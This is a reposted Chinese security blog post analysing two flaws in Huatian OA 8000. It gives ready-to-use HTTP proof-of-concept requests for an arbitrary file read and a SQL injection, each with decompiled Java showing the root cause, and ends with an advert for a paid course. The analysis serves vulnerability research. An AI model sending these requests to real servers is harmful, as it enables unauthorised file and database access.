华天动力OA Service漏洞分析两则 POC

admin 2025年1月11日13:23:09评论24 views字数 3450阅读11分30秒阅读模式

偶然获得了华天OA的一部分源码,查看对应的版本为华天动力OA 8000,这里结合漏洞来分析下如何根据茫茫大海般的源码,来分析漏洞产生点。

华天动力是我国首批OA企业,是双软认证的高新技术企业,专注OA办公系统20余年,开放免费OA系统下载试用,旗下OA产品累计为37500多个客户提供高效OA办公体验。
华天动力OA Service漏洞分析两则 POC
漏洞分析其一
任意文件读取漏洞,对应的poc如下
POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1Content-Type: text/xmlUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36Host: Content-Length: 101Expect: 100-continueConnection: close<buffalo-call><method>getHtmlContent</method><string>c:/windows/win.ini</string></buffalo-call>
请求路径bfapp/buffalo是后端服务的地址,无法在静态路径中找到对应方法
所以需要在配置文件buffalo-service.properties里面查询对应的Service名称和包名称,TemplateService对应的包名称如下
华天动力OA Service漏洞分析两则 POC
找到对应的jar包进行反编译,对应代码如下
华天动力OA Service漏洞分析两则 POC

对应方法

华天动力OA Service漏洞分析两则 POC
/*      */publicStringgetHtmlContent(String htmlFileName) {/*  768 */if (htmlFileName == nullreturnnull/*  769 */returnOaTools.getFileContent(htmlFileName, this.sysInfo.getCharSet());/*      */   }

其中的OaTools方法导入自这个包

华天动力OA Service漏洞分析两则 POC

对应jar包为oaapp_base.jar,但是没有找到这个方法。搜索了一下,最后在cnpower.jar的OaBaseTools里面找到了同样的getFileContent方法

华天动力OA Service漏洞分析两则 POC

代码如下:

publicstaticStringgetFileContent(String paramString1, String paramString2) {File file = newFile(paramString1);try {FileInputStream fileInputStream = newFileInputStream(file);      byte[] arrayOfByte = new byte[fileInputStream.available()];      fileInputStream.read(arrayOfByte);      fileInputStream.close();return (paramString2 == null) ? newString(arrayOfByte) : newString(arrayOfByte, paramString2);    } catch (Exception exception) {      exception.printStackTrace();returnnull;    }   }

其中对应的charSet方法为获取编码

华天动力OA Service漏洞分析两则 POC

方法中第一个传参为文件路径,第二个传参为编码,最后返回文件内容并判断是否编码,然后就能读取任意文件内容

漏洞分析其二

另外一个是SQL注入漏洞,poc对应如下
POST /OAapp/bfapp/buffalo/workFlowService HTTP/1.1Host: xx.xx.xx.xxAccept-Encoding: identityContent-Length: 103Accept-Language: zh-CN,zh;q=0.8Accept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Accept-Charset: GBK,utf-8;q=0.7,*;q=0.3Connection: keep-aliveCache-Control: max-age=0<buffalo-call><method>getDataListForTree</method><string>select user()</string></buffalo-call>
继续看下workFlowService对应的包
华天动力OA Service漏洞分析两则 POC
方法名称知道了,但是不知道在哪个jar包中,findstr搜索方法
华天动力OA Service漏洞分析两则 POC

对应的jar包为appservice.jar

进到代码中查看
华天动力OA Service漏洞分析两则 POC
对应的method为getDataListForTree,直接搜索
华天动力OA Service漏洞分析两则 POC

关键代码如下:

/*      */publicListgetDataListForTree(String sql) {/*  927 */List<HashMap> dataList = null;/*      */try {/*  929 */       dataList = getDatas(sql);/*  930 */if (dataList == null || dataList.size() == 0return dataList; /*  931 */     } catch (OaException e) {/*  932 */       e.printStackTrace();/*      */     } 

传参字符串包含SQL语句,调用getDatas(sql)方法,追踪getDatas

/*      */public List getDatas(String sql) throws OaException {/*  889 */if (sql == null || "".equals(sql)) returnnew ArrayList();/*      *//*  891 */     Session hiSession = null;/*      *//*      */try {/*  894 */       hiSession = TransactionManager.getInstance().getCurrentSession();/*  895 */       HiOaBaseSQLManager event = new HiOaBaseSQLManager(hiSession);/*  896 */returnevent.executeQuerySQL(sql);/*  897 */     } catch (Exception e) {/*  898 */       e.printStackTrace();/*  899 */thrownew OaException(e.getMessage());/*      */     } finally {/*      *//*  902 */if (hiSession != null) {/*  903 */         hiSession.close();/*      */       }/*      */     } /*      */   }

此处是直接执行了SQL语句,因此造成了SQL注入。至此可以看出漏洞利用都十分的简单

每个初学挖洞的小白都有一个美梦:是否可以在我学习挖洞技能的时候,有位师傅手把手指导,不仅教会我各种技术,还能带着我一起接项目挣钱,让我的技能和钱包同时“升级打怪”。

    还真别说,现在这个天降大饼的美梦来了!FreeBuf知识大陆帮会《安全渗透感知大家族》,正好为你提供了这样的机会。在这里,你既能学到知识,又能做项目赚钱,还能在项目实践过程中与大佬们交流思路、夯实基础。

华天动力OA Service漏洞分析两则 POC

SRC漏洞挖掘出洞课程,是由团队内部师傅根据实际挖洞经历整合的适合挖掘漏洞但是缺乏思路、刚接触学习漏洞挖掘不出漏洞的师傅们的漏洞挖掘教程。

第一期课程价格199,这价格还要什么自行车?课程正在持续更新中~

华天动力OA Service漏洞分析两则 POC

致远A8,又称致远互联A8协同管理软件,是面向中型、大型、集团型组织(集团版OA)的数字化协同运营中台。A8版本的系统小版本较多,本次分析用的是致远A8 V7 SP1版本源码。

华天动力OA Service漏洞分析两则 POC

END

关注Code4th安全团队

获取更多安全相关内容~

原文始发于微信公众号(Code4th安全团队):华天动力OA Service漏洞分析两则

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月11日13:23:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   华天动力OA Service漏洞分析两则 POChttps://cn-sec.com/archives/3601585.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息